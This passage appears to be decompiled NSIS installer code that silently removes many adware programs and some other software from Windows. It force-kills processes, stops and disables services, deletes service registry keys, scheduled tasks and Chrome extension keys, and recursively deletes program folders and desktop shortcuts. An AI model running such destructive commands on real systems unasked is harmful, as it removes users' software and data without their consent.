EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ppoilmfkbpckodoifdlkmkepcajfjmhl $0
IfErrors label_15748
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ppoilmfkbpckodoifdlkmkepcajfjmhl
label_15748:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\eioddfaepdoeifbhjphfefgipcjcdieo $0
IfErrors label_15752
DeleteRegKey HKLM Software\Google\Chrome\Extensions\eioddfaepdoeifbhjphfefgipcjcdieo
label_15752:
IfFileExists $SYSDIR\lnsecsl.exe 0 label_15755
Call func_755
Delete /REBOOTOK $SYSDIR\lnsecsl.exe
label_15755:
IfFileExists $WINDIR\sysWOW64\lnsecsl.exe 0 label_15758
Call func_755
Delete /REBOOTOK $WINDIR\sysWOW64\lnsecsl.exe
label_15758:
IfFileExists $PROGRAMFILES\SearchProtect 0 label_15771
nsExec::Exec "cmd /k sc stop CltMngSvc"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc stop CltMngSvc"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config CltMngSvc start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config CltMngSvc start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\CltMngSvc
RMDir /r /REBOOTOK $PROGRAMFILES\SearchProtect
label_15771:
IfFileExists "$PROGRAMFILES\XTRM Group" 0 label_15773
RMDir /r /REBOOTOK "$PROGRAMFILES\XTRM Group"
label_15773:
IfFileExists $PROGRAMFILES\ChicaLogic 0 label_15776
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ChicaPasswordManager
RMDir /r /REBOOTOK $PROGRAMFILES\ChicaLogic
label_15776:
IfFileExists $APPDATA\WiseManager 0 label_15778
RMDir /r /REBOOTOK $APPDATA\WiseManager
label_15778:
IfFileExists $PROGRAMFILES\SupTab 0 label_15780
RMDir /r /REBOOTOK $PROGRAMFILES\SupTab
label_15780:
IfFileExists $APPDATA\webssearches 0 label_15782
RMDir /r /REBOOTOK $APPDATA\webssearches
label_15782:
IfFileExists $PROGRAMFILES\igs\OptimizerMonitor.exe 0 label_15786
DeleteRegKey HKLM SYSTEM\ControlSet001\services\serverig
DeleteRegKey HKLM SYSTEM\ControlSet001\services\OptimizerMonitor
RMDir /r /REBOOTOK $PROGRAMFILES\igs
label_15786:
IfFileExists $LOCALAPPDATA\igs\IGSrv.exe 0 label_15788
RMDir /r /REBOOTOK $LOCALAPPDATA\igs
label_15788:
IfFileExists $PROGRAMFILES\IGS\DCL.exe 0 label_15796
nsExec::Exec "cmd /k taskkill /IM DCL.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM DCL.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\DCL
RMDir /r /REBOOTOK $PROGRAMFILES\IGS
label_15796:
IfFileExists $PROGRAMFILES\igs\BasementDuster.exe 0 label_15804
DeleteRegKey HKLM SYSTEM\ControlSet001\services\BasementDuster
nsExec::Exec "cmd /k taskkill /IM BasementDuster.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM BasementDuster.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\igs
label_15804:
IfFileExists $PROGRAMFILES\igs\VCL.exe 0 label_15812
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VCL
nsExec::Exec "cmd /k taskkill /IM VCL.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM VCL.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\igs
label_15812:
IfFileExists $PROGRAMFILES\igs\CCL.exe 0 label_15820
DeleteRegKey HKLM SYSTEM\ControlSet001\services\CCL
nsExec::Exec "cmd /k taskkill /IM CCL.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CCL.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\igs
label_15820:
ClearErrors
ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\UdvdPork ImagePath
IfErrors label_15835
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_15834
RMDir /r /REBOOTOK $2
label_15834:
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UdvdPork
label_15835:
IfFileExists "$PROGRAMFILES\Max Computer Cleaner" 0 label_15837
RMDir /r /REBOOTOK "$PROGRAMFILES\Max Computer Cleaner"
label_15837:
IfFileExists $PROGRAMFILES\MaxComputerCleaner 0 label_15839
RMDir /r /REBOOTOK $PROGRAMFILES\MaxComputerCleaner
label_15839:
IfFileExists $PROGRAMFILES\MaxComputerCleaner* 0 label_15853
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\MaxComputerCleaner*
label_15842:
StrCmp $R1 "" label_15852
nsExec::Exec "cmd /k taskkill /IM MaxComputerCleaner_Maintenance.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MaxComputerCleaner_Maintenance.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce $R1
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_15842
label_15852:
FindClose $0
label_15853:
IfFileExists $PROGRAMFILES\clean2pc 0 label_15855
RMDir /r /REBOOTOK $PROGRAMFILES\clean2pc
label_15855:
IfFileExists $LOCALAPPDATA\*-143* 0 label_15865
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\*-143*
label_15858:
StrCmp $R1 "" label_15864
IfFileExists $LOCALAPPDATA\$R1\*.tmp 0 label_15862
Push $LOCALAPPDATA\$R1
Call func_238
label_15862:
FindNext $0 $R1
Goto label_15858
label_15864:
FindClose $0
label_15865:
IfFileExists $APPDATA\*-143* 0 label_15875
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\*-143*
label_15868:
StrCmp $R1 "" label_15874
IfFileExists $APPDATA\$R1\*.tmp 0 label_15872
Push $APPDATA\$R1
Call func_238
label_15872:
FindNext $0 $R1
Goto label_15868
label_15874:
FindClose $0
label_15875:
IfFileExists $PROGRAMFILES\*-143* 0 label_15885
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\*-143*
label_15878:
StrCmp $R1 "" label_15884
IfFileExists $PROGRAMFILES\$R1\*.tmp 0 label_15882
Push $PROGRAMFILES\$R1
Call func_238
label_15882:
FindNext $0 $R1
Goto label_15878
label_15884:
FindClose $0
label_15885:
IfFileExists $LOCALAPPDATA\*-144* 0 label_15895
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\*-144*
label_15888:
StrCmp $R1 "" label_15894
IfFileExists $LOCALAPPDATA\$R1\*.tmp 0 label_15892
Push $LOCALAPPDATA\$R1
Call func_238
label_15892:
FindNext $0 $R1
Goto label_15888
label_15894:
FindClose $0
label_15895:
IfFileExists $APPDATA\*-144* 0 label_15905
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\*-144*
label_15898:
StrCmp $R1 "" label_15904
IfFileExists $APPDATA\$R1\*.tmp 0 label_15902
Push $APPDATA\$R1
Call func_238
label_15902:
FindNext $0 $R1
Goto label_15898
label_15904:
FindClose $0
label_15905:
IfFileExists $PROGRAMFILES\*-144* 0 label_15915
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\*-144*
label_15908:
StrCmp $R1 "" label_15914
IfFileExists $PROGRAMFILES\$R1\*.tmp 0 label_15912
Push $PROGRAMFILES\$R1
Call func_238
label_15912:
FindNext $0 $R1
Goto label_15908
label_15914:
FindClose $0
label_15915:
IfFileExists $LOCALAPPDATA\*-145* 0 label_15925
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\*-145*
label_15918:
StrCmp $R1 "" label_15924
IfFileExists $LOCALAPPDATA\$R1\*.tmp 0 label_15922
Push $LOCALAPPDATA\$R1
Call func_238
label_15922:
FindNext $0 $R1
Goto label_15918
label_15924:
FindClose $0
label_15925:
IfFileExists $APPDATA\*-145* 0 label_15935
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\*-145*
label_15928:
StrCmp $R1 "" label_15934
IfFileExists $APPDATA\$R1\*.tmp 0 label_15932
Push $APPDATA\$R1
Call func_238
label_15932:
FindNext $0 $R1
Goto label_15928
label_15934:
FindClose $0
label_15935:
IfFileExists $PROGRAMFILES\*-145* 0 label_15945
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\*-145*
label_15938:
StrCmp $R1 "" label_15944
IfFileExists $PROGRAMFILES\$R1\*.tmp 0 label_15942
Push $PROGRAMFILES\$R1
Call func_238
label_15942:
FindNext $0 $R1
Goto label_15938
label_15944:
FindClose $0
label_15945:
IfFileExists $LOCALAPPDATA\*-146* 0 label_15955
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\*-146*
label_15948:
StrCmp $R1 "" label_15954
IfFileExists $LOCALAPPDATA\$R1\*.tmp 0 label_15952
Push $LOCALAPPDATA\$R1
Call func_238
label_15952:
FindNext $0 $R1
Goto label_15948
label_15954:
FindClose $0
label_15955:
IfFileExists $APPDATA\*-146* 0 label_15965
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\*-146*
label_15958:
StrCmp $R1 "" label_15964
IfFileExists $APPDATA\$R1\*.tmp 0 label_15962
Push $APPDATA\$R1
Call func_238
label_15962:
FindNext $0 $R1
Goto label_15958
label_15964:
FindClose $0
label_15965:
IfFileExists $PROGRAMFILES\*-146* 0 label_15975
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\*-146*
label_15968:
StrCmp $R1 "" label_15974
IfFileExists $PROGRAMFILES\$R1\*.tmp 0 label_15972
Push $PROGRAMFILES\$R1
Call func_238
label_15972:
FindNext $0 $R1
Goto label_15968
label_15974:
FindClose $0
label_15975:
IfFileExists "$PROGRAMFILES\Visual Protect Service" 0 label_16014
nsExec::Exec "cmd /k net stop VSProtectProxy"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop VSProtectProxy"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config VSProtectProxy start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config VSProtectProxy start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 5000
nsExec::Exec "cmd /k taskkill /IM $\"VSProtector.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"VSProtector.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"VSProtectProxy.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"VSProtectProxy.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"VSUpdater.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"VSUpdater.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"VSProtector$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"VSProtector$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VSProtectProxy
nsExec::Exec "cmd /k taskkill /IM $\"VSProtector.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"VSProtector.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Visual Protect Service"
label_16014:
IfFileExists $PROGRAMFILES\FastoPlayer 0 label_16038
nsExec::Exec "cmd /k net stop VSUpdater"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop VSUpdater"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config VSUpdater start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config VSUpdater start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 3000
nsExec::Exec "cmd /k taskkill /IM $\"fastoplayer.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"fastoplayer.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"VSUpdater.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"VSUpdater.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VSUpdater
RMDir /r /REBOOTOK $PROGRAMFILES\FastoPlayer
label_16038:
IfFileExists "$PROGRAMFILES\Score Escape" 0 label_16042
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Score Escape"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Score Escape"
RMDir /r /REBOOTOK "$PROGRAMFILES\Score Escape"
label_16042:
Push $PROGRAMFILES
Call :label_16045
Goto label_16078
label_16045:
Exch $0
; Push $0
; Exch
; Pop $0
Push $1
Push $2
Push $3
StrCpy $1 $0 2
StrCmp $1 \\ label_16057
StrCpy $2 $1 1 1
StrCmp $2 : 0 label_16070
StrCpy $0 $1
Goto label_16071
label_16057:
StrCpy $2 1
StrCpy $3 ""
label_16059:
IntOp $2 $2 + 1
StrCpy $1 $0 1 $2
StrCmp $1$3 "" label_16070
StrCmp $1 "" label_16067
StrCmp $1 \ 0 label_16059
StrCmp $3 1 label_16067
StrCpy $3 1
Goto label_16059
label_16067:
StrCpy $0 $0 $2
StrCpy $2 $0 1 -1
StrCmp $2 \ 0 label_16071
label_16070:
StrCpy $0 ""
label_16071:
Pop $3
Pop $2
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
Return
label_16078:
Pop $0
IfFileExists $0\supermegabest 0 label_16081
RMDir /r /REBOOTOK $0\supermegabest
label_16081:
IfFileExists $0\firefox.bat 0 label_16083
Delete /REBOOTOK $0\firefox.bat
label_16083:
IfFileExists $0\iexplore.bat 0 label_16085
Delete /REBOOTOK $0\iexplore.bat
label_16085:
IfFileExists $0\launcher.bat 0 label_16087
Delete /REBOOTOK $0\launcher.bat
label_16087:
IfFileExists $0\firåfîõ.bàt.exe 0 label_16089
Delete /REBOOTOK $0\firåfîõ.bàt.exe
label_16089:
IfFileExists $0\iåõplîrå.bàt.exe 0 label_16091
Delete /REBOOTOK $0\iåõplîrå.bàt.exe
label_16091:
IfFileExists $0\làunñhår.bàt.exe 0 label_16093
Delete /REBOOTOK $0\làunñhår.bàt.exe
label_16093:
IfFileExists $0\GameXP\AccessPoint 0 label_16095
RMDir /r /REBOOTOK $0\GameXP\AccessPoint
label_16095:
IfFileExists $0\sitenav 0 label_16097
RMDir /r /REBOOTOK $0\sitenav
label_16097:
IfFileExists "$0\IQIYI Video" 0 label_16105
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run HCDNClient
nsExec::Exec "cmd /k taskkill /IM QyKernel.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM QyKernel.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$0\IQIYI Video"
label_16105:
IfFileExists $0\qycache 0 label_16107
RMDir /r /REBOOTOK $0\qycache
label_16107:
IfFileExists $0\QGNA 0 label_16114
nsExec::ExecToStack "schtasks /delete /tn GameNet /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn GameNet /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Thorn
label_16114:
IfFileExists $PROGRAMFILES\Google\ñhrîmå.bàt.exe 0 label_16116
Delete /REBOOTOK $PROGRAMFILES\Google\ñhrîmå.bàt.exe
label_16116:
IfFileExists $LOCALAPPDATA\Yandex\browser.bat 0 label_16118
Delete /REBOOTOK $LOCALAPPDATA\Yandex\browser.bat
label_16118:
IfFileExists $LOCALAPPDATA\Yandex\brîwsår.bàt.exe 0 label_16120
Delete /REBOOTOK $LOCALAPPDATA\Yandex\brîwsår.bàt.exe
label_16120:
IfFileExists $LOCALAPPDATA\go_internet.bat 0 label_16122
Delete /REBOOTOK $LOCALAPPDATA\go_internet.bat
label_16122:
IfFileExists $LOCALAPPDATA\amigo.bat 0 label_16124
Delete /REBOOTOK $LOCALAPPDATA\amigo.bat
label_16124:
IfFileExists $LOCALAPPDATA\chrome.bat 0 label_16126
Delete /REBOOTOK $LOCALAPPDATA\chrome.bat
label_16126:
IfFileExists $LOCALAPPDATA\ñhrîmå.bàt.exe 0 label_16128
Delete /REBOOTOK $LOCALAPPDATA\ñhrîmå.bàt.exe
label_16128:
IfFileExists $LOCALAPPDATA\ràmblårbrîwsår.bàt.exe 0 label_16130
Delete /REBOOTOK $LOCALAPPDATA\ràmblårbrîwsår.bàt.exe
label_16130:
IfFileExists $LOCALAPPDATA\ok.bat 0 label_16132
Delete /REBOOTOK $LOCALAPPDATA\ok.bat
label_16132:
IfFileExists $LOCALAPPDATA\vk.bat 0 label_16134
Delete /REBOOTOK $LOCALAPPDATA\vk.bat
label_16134:
IfFileExists "$DESKTOP\Hamster Free ZIP Archiver.lnk" 0 label_16136
Delete "$DESKTOP\Hamster Free ZIP Archiver.lnk"
label_16136:
IfFileExists "$DESKTOP\Ïðàâèëà Âîéíû.lnk" 0 label_16138
Delete "$DESKTOP\Ïðàâèëà Âîéíû.lnk"
label_16138:
IfFileExists "$DESKTOP\Goodgame Empire.lnk" 0 label_16140
Delete "$DESKTOP\Goodgame Empire.lnk"
label_16140:
IfFileExists "$DESKTOP\Êîäåêñ Ïèðàòà.lnk" 0 label_16142
Delete "$DESKTOP\Êîäåêñ Ïèðàòà.lnk"
label_16142:
IfFileExists "$DESKTOP\Äðàêîíû âå÷íîñòè.url" 0 label_16144
Delete "$DESKTOP\Äðàêîíû âå÷íîñòè.url"
label_16144:
IfFileExists "$DESKTOP\Prime world.lnk" 0 label_16146
Delete "$DESKTOP\Prime world.lnk"
label_16146:
IfFileExists "$DESKTOP\Èãðàòü â War Thunder.lnk" 0 label_16148
Delete "$DESKTOP\Èãðàòü â War Thunder.lnk"
label_16148:
IfFileExists "$DESKTOP\Èãðàòü â Êîäåêñ Ïèðàòà.lnk" 0 label_16150
Delete "$DESKTOP\Èãðàòü â Êîäåêñ Ïèðàòà.lnk"
label_16150:
IfFileExists "$DESKTOP\Fire Fall.lnk" 0 label_16152
Delete "$DESKTOP\Fire Fall.lnk"
label_16152:
IfFileExists "$DESKTOP\Âîéíû Ïðåñòîëîâ.lnk" 0 label_16154
Delete "$DESKTOP\Âîéíû Ïðåñòîëîâ.lnk"
label_16154:
IfFileExists "$DESKTOP\Âoéòè â Èíòeðíåò.lnk" 0 label_16156
Delete "$DESKTOP\Âoéòè â Èíòeðíåò.lnk"
label_16156:
IfFileExists "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò.lnk" 0 label_16158
Delete "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò.lnk"
label_16158:
IfFileExists "$DESKTOP\Âoéòè â Èíòeðíåò smartinf.ru.lnk" 0 label_16160
Delete "$DESKTOP\Âoéòè â Èíòeðíåò smartinf.ru.lnk"
label_16160:
IfFileExists "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò 2inf.net.lnk" 0 label_16162
Delete "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò 2inf.net.lnk"
label_16162:
IfFileExists "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò smartinf.ru*" 0 label_16164
Delete "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò smartinf.ru*"
label_16164:
IfFileExists "$DESKTOP\Ïîècê â Èíòeðíåòå.lnk" 0 label_16166
Delete "$DESKTOP\Ïîècê â Èíòeðíåòå.lnk"
label_16166:
IfFileExists $DESKTOP\Èíòåðíåò.url 0 label_16168
Delete $DESKTOP\Èíòåðíåò.url
label_16168:
IfFileExists "$APPDATA\User Pinned\TaskBar\Ïîècê â Èíòeðíåòå.lnk" 0 label_16170
Delete "$APPDATA\User Pinned\TaskBar\Ïîècê â Èíòeðíåòå.lnk"
label_16170:
IfFileExists $DESKTOP\Kometa.lnk 0 label_16172
Delete $DESKTOP\Kometa.lnk
label_16172:
IfFileExists "$APPDATA\User Pinned\TaskBar\Mail.Ru.lnk" 0 label_16174
Delete "$APPDATA\User Pinned\TaskBar\Mail.Ru.lnk"
label_16174:
IfFileExists $DESKTOP\GameNet.lnk 0 label_16176
Delete $DESKTOP\GameNet.lnk
label_16176:
IfFileExists "$DESKTOP\PC Speed Up.lnk" 0 label_16178
Delete "$DESKTOP\PC Speed Up.lnk"
label_16178:
IfFileExists "$DESKTOP\MyPC Backup.lnk" 0 label_16180
Delete "$DESKTOP\MyPC Backup.lnk"
label_16180:
IfFileExists $DESKTOP\YTDownloader.lnk 0 label_16182
Delete $DESKTOP\YTDownloader.lnk
label_16182:
IfFileExists "$DESKTOP\Sync Folder.lnk" 0 label_16184
Delete "$DESKTOP\Sync Folder.lnk"
label_16184:
IfFileExists $DESKTOP\Reborn.lnk 0 label_16186
Delete $DESKTOP\Reborn.lnk
label_16186:
IfFileExists "$DESKTOP\Prime world.url" 0 label_16188
Delete "$DESKTOP\Prime world.url"
label_16188:
IfFileExists "$DESKTOP\Èãðàòü â Ïóòü Ìå÷à.lnk" 0 label_16190
Delete "$DESKTOP\Èãðàòü â Ïóòü Ìå÷à.lnk"
label_16190:
IfFileExists "$DESKTOP\Èãðàòü â Prime World.lnk" 0 label_16192
Delete "$DESKTOP\Èãðàòü â Prime World.lnk"
label_16192:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr CommonDots" ImagePath
IfErrors label_16206
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16206
RMDir /r /REBOOTOK $2
label_16206:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr CommonDots" ImagePath
IfErrors label_16220
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16220
RMDir /r /REBOOTOK $2
label_16220:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr FilterResults" ImagePath
IfErrors label_16234
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16234
RMDir /r /REBOOTOK $2
label_16234:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr FilterResults" ImagePath
IfErrors label_16248
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16248
RMDir /r /REBOOTOK $2
label_16248:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr JungleNet" ImagePath
IfErrors label_16262
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16262
RMDir /r /REBOOTOK $2
label_16262:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr JungleNet" ImagePath
IfErrors label_16276
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16276
RMDir /r /REBOOTOK $2
label_16276:
StrCpy $0 svh
StrCpy $1 ost
IfFileExists $LOCALAPPDATA\Temp\$0$1.exe 0 label_16281
DeleteRegKey HKLM SYSTEM\ControlSet001\services\systemD
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run $0$1
label_16281:
IfFileExists $PROFILE\.android 0 label_16292
nsExec::ExecToStack "schtasks /delete /tn $\"Microsoft Windows Update$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Microsoft Windows Update$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::Exec "cmd /k taskkill /IM co.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM co.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_16292:
FunctionEnd
Function func_16293
SetShellVarContext current
IfFileExists $PROGRAMFILES\advPlugin 0 label_16358
IfFileExists $PROGRAMFILES\advPlugin\*.exe 0 label_16301
nsExec::Exec "cmd /k taskkill /IM $\"update*$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"update*$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_16301:
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\advPlugin\*.exe
label_16303:
StrCmp $R1 "" label_16311
nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$R1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $0 $R1
Goto label_16303
label_16311:
FindClose $0
nsExec::Exec "cmd /k taskkill /IM $\"recover.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"recover.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"checker.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"checker.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k net stop $\"Update Service for advPlugin$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop $\"Update Service for advPlugin$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k net stop $\"State Tool for Currency calc$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop $\"State Tool for Currency calc$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k net stop $\"Recovery Tool for advPlugin$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop $\"Recovery Tool for advPlugin$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Service for advPlugin"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\State Tool for Currency calc"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Recovery Tool for advPlugin"
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for advPlugin$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for advPlugin$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for advPlugin2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for advPlugin2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Rerun service for advPlugin$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
